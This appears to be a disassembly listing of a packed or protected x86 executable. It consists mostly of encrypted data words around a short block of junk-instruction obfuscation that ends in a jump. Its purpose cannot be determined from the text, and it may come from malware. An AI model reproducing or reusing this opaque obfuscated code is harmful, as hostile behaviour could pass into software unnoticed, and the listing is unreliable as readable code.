		dd 3C895C24h, 687F6824h, 14890000h, 68535124h, 388A1FE7h
		dd 0F7DBF75Bh, 54EB81DBh, 8179A71Dh, 0D01CF5C3h, 5BD98947h
		dd 5459CF89h, 8324148Bh, 0EC8304C4h, 243C8904h,	0FF08428Fh
		dd 835A2434h, 3C8B04C4h, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 4A42E95Ch, 0EEAFFF9h, 0BD9910A7h,	0CFA91CAAh
		dd 0B33363B8h, 0FFC50306h, 9509ACE0h, 9D55E83Fh, 7518E926h
		dd 15D08438h, 100B4E70h, 0FA533048h, 46FB324Dh,	0A8901F74h
		dd 135E6812h, 0B162136Ah, 2CE77558h, 61582006h,	3F049D4Bh
		dd 34CE3E18h, 36D6E502h, 0CD10D833h, 7F83425Dh,	5A0EB120h
		dd 33CC6032h, 8D792037h, 5DC75E13h, 0B6ED7E79h,	8E6B9812h
		dd 318D8D26h, 6A06B335h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0BF5CC351h,	0D8D89D4h
		dd 6A06AC2Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0B7A4C356h, 0D7BB03D0h, 81D78BA2h
		dd 3246DCF7h, 585C769h,	806AC1Eh, 6A000065h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 48ABC355h, 9C0DFF23h, 0B5B58985h, 8106AC10h,	728637CFh
		dd 0F185C769h, 6AC27h, 50000000h, 0BC88166h, 0B5FF5B18h
		dd 6AC270Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	82C35646h, 8254680Ah, 95FF153Ch, 6AC0BF9h, 0C850Fh
		dd 810F0000h, 6, 1F59D89h, 6A06ACh, 214595FFh, 0C08B06ACh
		dd 0F50E5DEBh, 91666E8Eh, 0CBDED948h, 9D9E585Ah, 0BDE20A1Ch
		dd 0FD5BD465h, 0C621681Dh, 937BD6F5h, 0CE03758Ch, 27B90E24h
		dd 9FAE40A4h, 36F1D905h, 0FFE7A49Ch, 0C283321h,	0E8813C2Eh
		dd 6A2A8864h, 0B13023EBh, 2ECB2266h, 8E4FEA81h,	0D8BCEA0h
		dd 0A2B1B4F0h, 485A5BEBh, 0BFBACFD8h, 0E9021162h, 1Ch
		dd 47684D8Eh, 6	dup(0)
		dd 509E9h, 0D00CE700h, 904CA111h, 0D30BE151h, 924AA212h
		dd 0D00CE353h, 0D6956C11h, 8E3EFF37h, 0D161A05Ch, 0F040813Dh
		dd 571EDF17h, 5FB506h, 8BACE8E0h, 71AD5E07h, 2CE807B1h
		dd 8DAC5DEDh, 9335EA3Eh, 351B37EFh, 908A2F5h, 19595F78h
		dd 3BAC9C15h, 18F54383h, 0E2E1CDCh, 16CE3F62h, 538B67D7h
		dd 9A73C392h, 37DBEB62h, 0E200E8F9h, 0D63A5492h, 5A74DE1Eh
		dd 0E802B474h, 694BEC2Ch, 8613B9FDh, 0F37D102Ch, 28C4F47Dh
		dd 5E8F3FECh, 5CEC2FA6h, 10A073ABh, 884AC3FBh, 92B2E43Dh
		dd 21DD0CEFh, 7FB757E1h, 0D5B191BFh, 7612329Ch,	0BBCC1E9Ah
		dd 7512C0h, 0BF9E0000h,	0E525E10Fh, 9205D849h, 9271153h
		dd 6257B080h, 92927BD1h, 14EAC0EFh, 497B966Eh, 0CF0F210Fh
		dd 925B247Ah, 94F0D0EFh, 0BB94FC78h, 48FBAAC0h,	0EF926714h
		dd 73FC7559h, 1, 5EEEBFFFh, 124677AFh, 5FEF9336h, 25CAFA73h
		dd 729F29E9h, 1CCC7ABAh, 321220E0h, 0CBEE0356h,	93362478h
		dd 6B4569EFh, 35F11AAAh, 6E0FA5F4h, 9FD468FEh, 5ED15DD4h
		dd 0E0B777AFh, 0FC2AE44Ah, 0BA10D00Ch, 0BE2B3A92h, 0CFEA0737h
		dd 927C287Ch, 0CE02B1EFh, 13EF927Bh, 2A04283Fh,	77AF5CEAh
		dd 0FD53E0B7h, 42EF927Bh, 76AE5C6Eh, 0FE52E1B6h, 43EF927Bh
		dd 89E5C56Fh, 0DF8B29C8h, 5A9B53BAh, 9854BB0Bh,	0CC82111h
		dd 0D23E8EDFh, 7BF52B1Ah, 163AEF92h, 0A00A5D9Fh, 0A45C355Ah
		dd 5D6DE43Fh, 0E3398AAFh, 28EF9266h, 0C6EA2A04h, 0FE6A86E2h
		dd 12C0BB86h, 6Ch, 77AF5E9Eh, 3CF814A4h, 1DDF56FCh, 498945ABh
		dd 6A2F5B7Bh, 3A8A4B83h, 0FF55E6D3h, 4CEF9335h,	0D98E4E60h
		dd 35E53B88h, 62AEF93h,	974FBF8Fh, 72A61544h, 0BFEF9335h
		dd 0F4D81A93h, 0AA00B4D0h, 7B9D3C17h, 7BF27BAAh, 0C0BB73EFh
		dd 32E5h, 0AF5E6900h, 0ED01B777h, 0F6D9F131h, 35C014A7h
		dd 210DEF93h, 0BBDE8AA8h, 55599854h, 0B575B15Eh, 9335C900h
		dd 0E38FAFEFh, 0BB4F8307h, 189C0h, 5E050000h, 2B474B0h
		dd 4AED2DE9h, 12B8FC68h, 6FF9CFFBh, 86B63F96h, 86DAC68h
		dd 0C675A6CCh, 0E52F1CF7h, 17D9EA40h, 50AF4CD3h, 15BF7FB7h
		dd 8BA7B23Bh, 0D00CFD4Bh, 8C48A111h, 0D4E2F55Fh, 0CDEDCDE0h
		dd 0DB338644h, 5F63FB6h, 59EF2FE7h, 0EDBA7AB2h,	3FB70A5Eh
		dd 587B57F6h, 0FB570E7Ah, 0F5164B27h, 0B45AEA39h, 604E8664h
		dd 3CF816A0h, 0E8589B12h, 0B107C7FFh, 0EA5C9C58h, 0B204C400h
		dd 4B63A35Bh, 5BBAFB97h, 1FC88DF9h, 0AB2F26E7h,	0A139E830h
		dd 10Dh, 254F8B2Dh, 225C45F6h, 0CDE1E52Fh, 0A10B5A0Dh
		dd 3D55E243h, 588CBD2Dh, 0A5F63F79h, 7991C774h,	0F2DEF63Fh
		dd 846555DCh, 89D88948h, 3F79E63Ah, 0D44D14F6h,	58BA184Bh
		dd 0DAEA634Fh, 8335F531h, 1772B26Ah, 6384D9B5h,	0E7636AABh
		dd 0B339E803h, 0C62BEF03h, 4A64CE0Eh, 26A9208Ah, 4Ah, 6CA847F7h
		dd 4C8B69E5h, 3246F526h, 3F6F9336h, 3484D313h, 0A4971ED6h
		dd 6F933570h, 0F0442000h, 35BE12A1h, 2F036F93h,	0EE8443A6h
		dd 357A8E3Dh, 0F343EF93h, 8923E31Bh, 77C41500h,	0EF933621h
		dd 0AD6C426Eh, 64E7h, 0EEBFED00h, 9336075Dh, 0F17854EFh
		dd 69BAD014h, 2F27DFDAh, 80406CE5h, 0D819D536h,	0B75B7F68h
		dd 0C691517Fh, 0D1589476h, 3F52A9E2h, 0F5914DF6h, 4E8F47A0h
		dd 5685EF2Bh, 0D26003E5h, 77A488EBh, 8A3F9526h,	0A08CFCF2h
		dd 0AC5DEB29h, 3517B070h, 7F15D159h, 961D1FACh,	0D666F285h
		dd 9238F834h, 0E3220E1Bh, 0DF0FBFEFh, 8F4BAE27h, 0A38536E5h
		dd 28E52640h, 9972C404h, 0BB2C9C5Dh, 0A776C303h, 0D1B0B2B5h
		dd 0F640803Ch, 0A22E21Ah, 4DFBBAD6h, 0AB5C016Dh, 17CF3E8Eh
		dd 21E1F226h, 34F01A38h, 65495EF4h, 0A332984Bh,	43A231B3h
		dd 2D7CBF36h, 6299CF7Ch, 0CAE63821h, 0A992EBE2h, 31B8F1ECh
		dd 0FF2CE801h, 0E8619D4Fh, 0B66C9C2Ah, 37F1C3F3h, 0E92907DCh
		dd 5D006C4Eh, 1B170ACh,	0A0EC2CE8h, 3, 5E7200AAh, 0DBB7BB3h
		dd 56E020DCh, 74C202BAh, 2C9A5A92h, 77C101BDh, 2A9C5C98h
		dd 7CCA0AC2h, 2096568Eh, 0DDD313CBh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edi
		mov	edi, 6B335B9h
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	641Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	edx
		mov	edx, 8
		add	edx, edi
		mov	[edx], ecx
		mov	edx, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		db 2Fh
		dd 30B85791h, 306B33Ah,	28E0FFC5h, 971F049Dh, 801B9B26h
		dd 42228C1Eh, 0C9247AFBh, 0A92B2976h, 723BB05Dh, 452B73E6h
		dd 0C64C350Ah, 5118022Eh, 7663C9Ah, 0FB6C1A8Bh,	60330A15h
		dd 8A0ABB2Ah, 9D538AD3h, 0C641E00Ah, 0AC333985h, 0DF685606h
		dd 0FFA9C530h, 0AC210DB5h, 29858D06h, 0FF06AF69h, 218D8DD0h
		dd 5106AC20h, 0B5FF406Ah, 6AC2FE5h, 2DC5B5FFh, 0D0FF06ACh
		dd 2FE5B5FFh, 0B5FF06ACh, 6AC2DC5h, 0FE8h, 0B12B3D00h
		dd 3E5FB06Fh, 0FD57BAB7h, 3A03C121h, 0EF835F5Fh, 242CC104h
		dd 2424C102h, 243C0302h, 68241CF7h, 0
		dd 3E34FF5Eh, 28C18159h, 811FDE93h, 0D948F9E9h,	0C2E9811Ch
		dd 8905D946h, 0EE83370Ch, 24343B04h, 0D850Fh, 20E90000h
		dd 79000000h, 0A4D91E5Ah, 0E98E0542h, 0FFFFFFC9h, 5BBB87C3h
		dd 2C0868Ah, 0F9D11EA2h, 0A3E6C2A9h, 8DA139F3h,	0AC23F19Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 0C98B1889h
		dd 0AE8h, 0C4CC5B00h, 59B2641Ah, 0F477916h, 0C88h, 68D0F00h
		dd 0F000000h, 83h, 0D98B5900h, 6BABC181h, 6E90000h, 49000000h
		dd 0C47AB3FDh, 81F62B38h, 2A24F5C0h, 31148B76h,	40DB8166h
		dd 0F9EA81FEh, 664281B0h, 0A6F2EB81h, 7EFAC281h, 81F955A9h
		dd 987691F2h, 31148974h, 0C820Fh, 8D0F0000h, 6,	426DD081h
		dd 800F3E81h, 3, 83D2C880h, 4EF503EEh, 81DAB70Fh, 0FF94E0FEh
		dd 0AE850FFFh, 0B8FFFFFFh, 4F102C4Fh, 11E8h, 24BDD00h
		dd 7568618Bh, 8BD1A0F7h, 996B760Eh, 815AA056h, 0D65DA6C3h
		dd 60C2817Dh, 0B9000063h, 6172534Ch, 18A2B8h, 5880F00h
		dd 66000000h, 0E2EAE781h, 816632FFh, 5E3854EBh,	58C0Fh
		dd 4EBF0000h, 810C7940h, 0ED911EEEh, 0B70F5651h, 0C6815FCEh
		dd 6C4A72A1h, 0FF18B60h, 1182h,	0BE800h, 61F60000h, 0D337F4EDh
		dd 0EB6F3260h, 81615976h, 3D92EEC6h, 8FF55619h,	800F02h
		dd 81000000h, 802BF9EAh, 0B0BB6678h, 0F5C281D2h, 0E978802Bh
		dd 11h,	0B447C55Bh, 908EFF8Eh, 5F710269h, 8D607489h, 1E88398h
		dd 12850Fh, 0E9FC0000h,	25h, 0C0167EB4h, 9208C5F2h, 2EE2B5E2h
		dd 830Fh, 65E90000h, 0CDFFFFFFh, 0ECC59E90h, 98BC1602h
		dd 2111F3FBh, 8D8D0Dh, 0E906B33Eh, 9, 4A7B3FE7h, 0CF87878Fh
		dd 0D8D8993h, 6A06AC2Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 5076C353h, 95EB6459h
		dd 0C7F50DC4h, 0AC1E0585h, 5DEC06h, 0F185C700h,	6AC27h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 998CC355h, 1536DB1h, 0AE9890Bh
		dd 8D000000h, 0F8CE8F1Bh, 12306EB0h, 0DB5FF4Bh,	0FF06AC27h
		dd 0AC0BF995h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0CF8F0267h, 0FF006A8Bh
		dd 0AC214595h, 0EBC08B06h, 7633475Dh, 0A3462486h, 9E541493h
		dd 7A5C8561h, 619C8937h, 0BBAB919Bh, 0E1F855FFh, 0ECA8E169h
		dd 60267497h, 0A6670C0Fh, 86977E97h, 8BB7C58Bh,	22DF6604h
		dd 0ED18204Ah, 825DC465h, 0CD7AD2ABh, 0F1ADF433h, 3832ABA2h
		dd 0F41753FBh, 0A457CBF1h, 0D50E4830h, 0DEF66D92h, 20980B8Ah
		dd 2CE94426h, 1C000000h, 1B7FECh, 9 dup(0)
		dd 0E9000000h, 47Dh, 0B33F7D68h, 3F7EE906h, 0ED68FFF9h
		dd 0E906B33Fh, 0FFF93F74h, 0B3411D68h, 3F6AE906h, 5E8FFF9h
		dd 53B808C9h, 4EA5A9Bh,	51B909C8h, 5E45495h, 8C7508C9h
		dd 15D410FFh, 4A8B43A5h, 1FDE16FAh, 47863EAFh, 0B8EC5F0Eh
		dd 5E8DFF7h, 0AF43F322h, 5E72FE77h, 0E0B777AFh,	0C000BC50h
		dd 3AD3E36Ah, 0E2264382h, 0A9E85B88h, 0F6E52F55h, 75AF1ADAh
		dd 5F63F55h, 2DA94521h,	2739E8AFh, 29Eh, 659DCBABh, 4918CBA1h
		dd 0E6D410F9h, 0A309C905h, 4378192Ah, 3181E52Fh, 0C72019D7h
		dd 0F714B36Ah, 9BB319D9h, 5E9947CBh, 0AEBB3289h, 0F6D76282h
		dd 0CBF32274h, 5B6650Fh, 0E9416F4Ch, 1E7DBD91h,	0D063B0DAh
		dd 0EFEDA877h, 8B3BE8C4h, 6AA6AC62h, 891309E0h,	35D666A7h
		dd 0EC7311F9h, 5D616C79h, 2E411h, 14D02300h, 4C8865D5h
		dd 17CF3D8Dh, 4E8666D6h, 14D03F8Fh, 1251A8D5h, 0B202C3FBh
		dd 0ED5D9C58h, 0B404C501h, 135A9B53h, 0F69BF142h, 0C7E0E8DFh
		dd 2115BF4Bh, 0D7426779h, 0AA6E8B02h, 0F24213C0h, 9523E31Bh
		dd 0D17BBB73h, 764576FFh, 0BBE525E1h, 15F44497h, 41A818D9h
		dd 99B76F99h, 0DB3EC59h, 2CDDF646h, 668218F0h, 6E5261C2h
		dd 27422h, 0A460B300h, 0FC38D565h, 0A75F8D3Dh, 0FE36D666h
		dd 0A4608F3Fh, 0A2E11865h, 0E252934Bh, 0BD0DCC08h, 0E4549551h
		dd 430ACB03h, 0F66BA112h, 97B0E8DFh, 394F8B1Bh,	0C72517CFh
		dd 0A3F2210Fh, 18C84A09h, 0F86B006h, 26074F3Ch,	63B09CE5h
		dd 334B8132h, 0BC90F646h, 0A42F735h, 0E8F64634h, 0C044A0CCh
		dd 0C839F649h, 162h, 71AD5E44h,	2EE607B1h, 244E8AEFh, 289144F7h
		dd 0F2DEE52Fh, 87346532h, 0F63F5451h, 83BB29Eh,	0F63F54D0h
		dd 0EEA86A2h, 39E8AA8Ah, 44BEh,	15BF3200h, 6D09F38Fh, 11F47D97h
		dd 0DF6CBFD5h, 0E52F126Eh, 0BC0CDFF3h, 0D81A934Bh, 3F17336Dh
		dd 75B15DF6h, 33EB03B5h, 583496F3h, 3766B119h, 3F165084h
		dd 38B19DF6h, 16926E1Ah, 1A39EF50h, 8Eh, 71AD5E96h, 0D1E807B1h
		dd 93362E62h, 715F73EFh, 2EE607B1h, 77AF58EEh, 30E905B6h
		dd 3AD3EF93h, 0A2124382h, 0FD18914Dh, 30805339h, 75DF1FD7h
		dd 579E2DFCh, 64E522DAh, 0C42B9B48h, 0DA1246F5h, 735FF641h
		dd 0BD2C9C5Dh, 3377E901h, 91AD61BEh, 144DDh, 74B04300h
		dd 2CE805B5h, 77AF5DEDh, 2EE606B6h, 74B05FEFh, 7231C8B5h
		dd 12A2639Bh, 4DFD3CF8h, 14A465A1h, 0B3FA3BF3h,	0F4FB51E2h
		dd 6740E8DFh, 77AF5EEBh, 29E506B6h, 0FBFE4E8h, 4BE121DDh
		dd 0DD19F2C2h, 8A42AB1Dh, 65BB0859h, 0AAEF9335h, 0A9CC0F86h
		dd 85D4076Dh, 951CD835h, 2F7821A6h, 11C2EEE5h, 628E4AA1h
		dd 65784AAh, 3F835FB5h,	6C9CACF6h, 0FE4D9EB0h, 0F63F83AAh
		dd 9152DBF7h, 639B70C0h, 0B38009A3h, 0F63F8359h, 73B26A83h
		dd 30F02CC3h, 0AC7Ch, 4F8B7600h, 59EACF39h, 0EF933603h
		dd 644A6448h, 487304B7h, 5478E526h, 11C92294h, 55FF3FF7h
		dd 9502A87Bh, 7ED2E70Fh, 0CF07E0D2h, 0D4358546h, 299ACB18h
		dd 0F64725F3h, 5F9D1438h, 80B75CEAh, 30E80494h,	4AE020DCh
		dd 0FD12A464h, 0DA098CC7h, 0C9E724A3h, 0D505A509h, 0F07DB093h
		dd 570E7A5Ah, 0F0A5C1E1h, 0AE1EDF17h, 0F741813Dh, 0B81FDF17h
		dd 42ABEE9Ah, 0AA1A4B8Ah, 0EF458541h, 79B55666h, 22800AAh
		dd 35FE79AEh, 1E327EBCh, 65000000h, 0A13ED3CFh,	23C8D8C8h
		dd 0C04CC5EBh, 0CD7E2F00h, 0EF933597h, 10FAC8E4h, 37BE14D4h
		dd 7BB35EBBh, 20DC0DBBh, 2BA56E0h, 5A9274C2h, 1BD2C9Ah
		dd 5C9877C1h, 0AC22A9Ch, 568E7CCAh, 13CB2096h, 5468DDD3h
		dd 89000050h, 89502404h, 405E0h, 0E8830000h, 24048704h
		dd 243C895Ch, 4C1F68h, 242C8900h, 60826855h, 2C8B64C8h
		dd 4C48124h, 81000000h,	0B729BDF5h, 81DDF716h, 3287F5C5h
		dd 5DEF8979h, 4EC81h, 24890000h, 24048124h, 4, 8B9515Dh
		dd 1000000h, 8B3989E9h,	0C481240Ch, 4, 5D2434FFh, 8B04C483h
		dd 8953243Ch, 4C381E3h,	81000000h, 4C3h, 241C8700h, 3B12E95Ch
		dd 0C82AFFF9h, 6D636DBh, 4286B856h, 0C50306B3h,	7A40E0FFh
		dd 0F60F6C56h, 0EAEC0C30h, 0F18C4081h, 411C2659h, 0E6EB1AA9h
		dd 12E858F2h, 0FB000000h, 0FD111786h, 0A43F4A8Bh, 0FD62118h
		dd 0D1D8DA22h, 0D9816653h, 0E958E974h, 11h, 98037F50h
		dd 0EE9D268h, 33C10E4h,	927DC0C7h, 3BC08105h, 0F000066h
		dd 787h, 65BF5200h, 594B32B5h, 8166D22Bh, 0FFE91AF1h, 810F0234h
		dd 9, 38F0Fh, 8B660000h, 870F5BCBh, 5, 0FC80E0BFh, 95EB8123h
		dd 661C6FA3h, 0F381F88Bh, 5D41D800h, 0B881C381h, 10E93046h
		dd 38000000h, 72A2F9Ah,	0CD6D934Ah, 0BC68A25Ch,	893D3CEAh
		dd 0F560101Ch, 83BDB561h, 8F0F01EAh, 0
		dd 564A4A4Ah, 5810Fh, 58BE0000h, 59294655h, 9A90FA81h
		dd 850FFFFFh, 0FFFFFF8Bh, 7E860h, 6E050000h, 0FCC26F33h
		dd 79D3806Fh, 8E8615Fh,	0FB000000h, 0C48616FCh,	5764A044h
		dd 32EBBE66h, 8B665B5Fh, 45C381D6h, 68000060h, 17E4h, 0CE9h
		dd 0D9941C00h, 94768102h, 1838897Bh, 38B5955h, 0CCE78166h
		dd 39E8812Ch, 0E81C7CA8h, 0Ah, 0B82F18F2h, 4B3D8A00h, 815FBE22h
		dd 8C9CD8F0h, 14E914h, 377D0000h, 0AD8528E2h, 49F27C38h
		dd 2ED5B228h, 0EE25DEABh, 0C08152C1h, 713AA766h, 3860Fh
		dd 0B70F0000h, 570389FEh, 2EB835Ah, 4B8CD680h, 14E9604Bh
		dd 0FD000000h, 3F26DD29h, 5C36B1E0h, 84B2F11Dh,	16DC8F19h
		dd 0FA950A6h, 68Ah, 0B8CB8100h,	615B6DA3h, 1E981h, 850F0000h
		dd 0FFFFFF76h, 0AE8h, 0BC8AC900h, 8EA7CC8Ch, 66988C48h
		dd 0DBC5D081h, 8F0F605Eh, 4, 0FD30B966h, 14E9h,	0BE9BF800h
		dd 78F4402Ah, 4322EE34h, 0F4A722AAh, 0CCD418C1h, 0C68161EFh
		dd 643Ah, 0BF7EF480h, 4E347B92h, 62B7EF81h, 36FF4E34h
		dd 605AC28Bh, 28F0Fh, 61600000h, 8DC88060h, 61616160h
		dd 0F317C281h, 8E96D23h, 40000000h, 0AD6BDA67h,	814EFF4Eh
		dd 0C2342AEAh, 7E903h, 82AB0000h, 3BF1C4F9h, 5FC281ECh
		dd 50227B28h, 8A168959h, 3EE83FDh, 0F4EDC8Ah, 68Eh, 11E18100h
		dd 4F0CD830h, 16850Fh, 0BB660000h, 20E9459Bh, 93000000h
		dd 0F4FD108Bh, 0B8881287h, 2C4FF843h, 0E9C2BF0Fh, 0FFFFFF82h
		dd 314EE7CDh, 0D83C17CBh, 8B6CFB93h, 85BD83C0h,	6AC1Eh
		dd 0BD830975h, 6AC0A29h, 50197400h, 0B8C08B53h,	421h, 8898589h
		dd 9D8D06ACh, 6AEA264h,	585BD3FFh, 0A29BD83h, 740006ACh
		dd 0B8535017h, 421h, 8898589h, 9D8D06ACh, 6AE9F53h, 585BD3FFh
		dd 9D8BC08Bh, 6AC1EC5h,	333985C6h, 685606ACh, 9CA8B852h
		dd 210DB5FFh, 858D06ACh, 6AF6929h, 46AD0FFh, 100068h, 91B5FF00h
		dd 6A06AC12h, 85D0FF00h, 0D850FC0h, 0B8000000h,	0
		dd 70C28D8Dh, 0E1FF06ACh, 0C38BC88Bh, 53C4003h,	0F8h, 30C508Bh
		dd 0F1BD83D3h, 6AC23h, 0E840Fh,	9D8B0000h, 6AC23F1h, 2661858Bh
		dd 38906ACh, 858D5251h,	6AC7989h, 0FA8BD0FFh, 0D18BF18Bh
		dd 0A4F3C88Bh, 333985C6h, 685606ACh, 0D41F6D39h, 210DB5FFh
		dd 858D06ACh, 6AF6929h,	68D0FFh, 6A000080h, 0D0FF5200h
		dd 0BD83C08Bh, 6AC1E85h, 83097500h, 0AC0A29BDh,	19740006h
		dd 0C08B5350h, 421B8h, 1858900h, 8D06AC0Ch, 0AEA2CB9Dh
		dd 5BD3FF06h, 29BD8358h, 6AC0Ah, 53501774h, 421B8h, 1858900h
		dd 8D06AC0Ch, 0AE9F6C9Dh, 5BD3FF06h, 8DC08B58h,	0AC23F19Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 41B81889h
		dd 0E800004Bh, 0Bh, 464F12ACh, 2B175054h, 8BC56403h, 830F5FC2h
		dd 6, 68AEF081h, 0C7812FDEh, 0E7ACh, 4A1ACA81h,	681EFEh
		dd 60000000h, 0FE8h, 0D03CCF00h, 2E24EE5Eh, 0C6E79584h
		dd 73C3FA63h, 8B0Fh, 0F55E0000h, 0C78B5E61h, 8B370C8Bh
		dd 0EFF181C7h, 66174D3Ah, 0F181D38Bh, 4EACCC6Ah, 1850F50h
		dd 0FC000000h, 0BEF1815Bh, 51171789h, 4810Fh, 60600000h
		dd 48F6161h, 11E837h, 14960000h, 0FE0E2389h, 0F3016B9Eh
		dd 17A159B7h, 660D2D82h, 0E88CD081h, 0BE858h, 99520000h
		dd 2E95F5CFh, 8AFB16Bh,	58C0FFCh, 0BA000000h, 71E924D6h
		dd 4EE835Ah, 3AE38166h,	28FE814Ch, 0FFFFF19h, 0FFFF8385h
		dd 0AE9FFh, 5EFB0000h, 1F9DF327h, 0BE34C82Dh, 2AE9h, 2404C700h
		dd 0
		dd 0E8h, 0ED815D00h, 6B347F1h, 424448Bh, 28A58589h, 0B806ACh
		dd 8D000000h, 0AC4E338Dh, 0B8E1FF06h, 6754h, 16EBh, 4 dup(0)
		dd 1010000h, 3C0h, 8D8B06B3h, 6AC32E1h,	24048950h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4CC35747h, 0F605CB6h
		dd 287h, 8B89B300h, 0AC11E1BDh,	6A6106h, 21D8589h, 6A06ACh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0FCC35646h
		dd 0D6843171h, 81661774h, 0BA7975D9h, 18FB7452h, 4927858Dh
		dd 800F06B3h, 4, 8BD9BB66h, 25998D8Bh, 529006ACh, 0A07FB966h
		dd 0BB66505Bh, 8990ECD0h, 0AC299195h, 75B58906h, 6A06AC06h
		dd 0C8D0F00h, 0F000000h, 689h, 0A98D8900h, 6A06AC1Bh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0FF163D37h, 0AC0AF995h, 0F18D8B06h, 0E906AC0Eh, 562h
		dd 5E8h, 0EB7D3B00h, 18B681ACh,	45BD8B5Ah, 0E806AC28h
		dd 0
		dd 2CED815Dh, 6A06B349h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0F7E0C352h,	0BD8BFD25h
		dd 6AC1F81h, 8B99D8Bh, 0D66806ACh, 516ACFA7h, 6E8h, 0DC26600h
		dd 59CCF7C1h, 2434815Ah, 6ACFA876h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0C9C35242h,	31DE004Ch, 0AC12BD85h
		dd 4595FF06h, 6A06AC21h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 4A70C356h, 0F1C97A96h
		dd 958BBD86h, 6AC219Dh,	0B9C88B66h, 74C59AABh, 4816B58Dh
		dd 6A06B3h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0AFF6BCC3h, 7410CCC7h, 68B0Fh, 0BD8B0000h
		dd 6AC0B35h, 6C75A53h, 6D676552h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0E8C35242h,	0BAF5B9DCh, 5328243Ch
		dd 6F0446C7h, 8B6C636Eh, 846C7DFh, 737361h, 6AFA8Ah, 5A59D33h
		dd 858D06ACh, 6B34816h,	0BE950h, 0AE90000h, 16FD2A8Dh
		dd 8DCA4B85h, 2404896Ah, 960CE8Ah, 0AC27A595h, 0E6816606h
		dd 0FF61DA3Ch, 0AC21ED95h, 8E906h, 6A3D0000h, 0F1C6E5A4h
		dd 0C00B7B05h, 20840Fh,	63BF0000h, 0E9225421h, 378h, 0FE950h
		dd 0C85D0000h, 0D6FE16C4h, 14CAC07Eh, 0BEB81DCDh, 0F7685A29h
		dd 530C0A41h, 0AE9h, 55919D00h,	8BC0C5FAh, 596E42AFh, 0DB243481h
		dd 6A0C0A40h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 4090C355h, 5BB2FEDAh, 8B4AAFE3h
		dd 0FFD38B66h, 0AC214595h, 0B1958906h, 8D06AC09h, 0B34816B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0E19D8B30h, 0C706AC21h, 34383106h, 68F0F36h
		dd 89000000h, 0AC012DBDh, 446C706h, 31342D37h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0DCC35242h, 0AB1468CAh
		dd 1DEA5FBCh, 68B0FBFh,	8B000000h, 0AC0B95BDh, 846C706h
		dd 0
		dd 0BB66C88Bh, 6A8315h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 50C35545h, 9D03570Dh,	6AC329Dh, 4816858Dh
		dd 6A06B3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0CF97CDC3h, 0E379EAA3h, 0E9604505h, 12h
		dd 0BCF94A75h, 0D28985h, 2E724824h, 0F4BC92CAh,	8589B904h
		dd 6AC324Dh, 37CB8161h,	5007D6F0h, 2066BA66h, 89240489h
		dd 0AC012DB5h, 0ED95FF06h, 6A06AC21h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 851BC350h
		dd 0E4836CBEh, 80B5C337h, 0BDF8B66h, 24840FC0h,	0BA000000h
		dd 2B888711h, 1CFE9h, 14830F00h, 0E9000000h, 0Fh, 0B01AF848h
		dd 6ED4A2D0h, 0D8E669CCh, 6849008Dh, 0C006F840h, 13E8h
		dd 0B02D3700h, 0F372370Dh, 705CDB7Eh, 0A8BF401Bh, 7F800A2Ah
		dd 2404815Ah, 3FF908ECh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 3CC35747h, 6820F36h, 29000000h, 0AC31BD9Dh
		dd 4595FF06h, 6006AC21h, 1169858Bh, 9D2906ACh, 6AC1A21h
		dd 16B58D61h, 8106B348h, 7155A1D1h, 0E9952976h,	0C706AC10h
		dd 6C694606h, 55006A65h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 8D120AACh, 13662C2h, 0AC27A5BDh
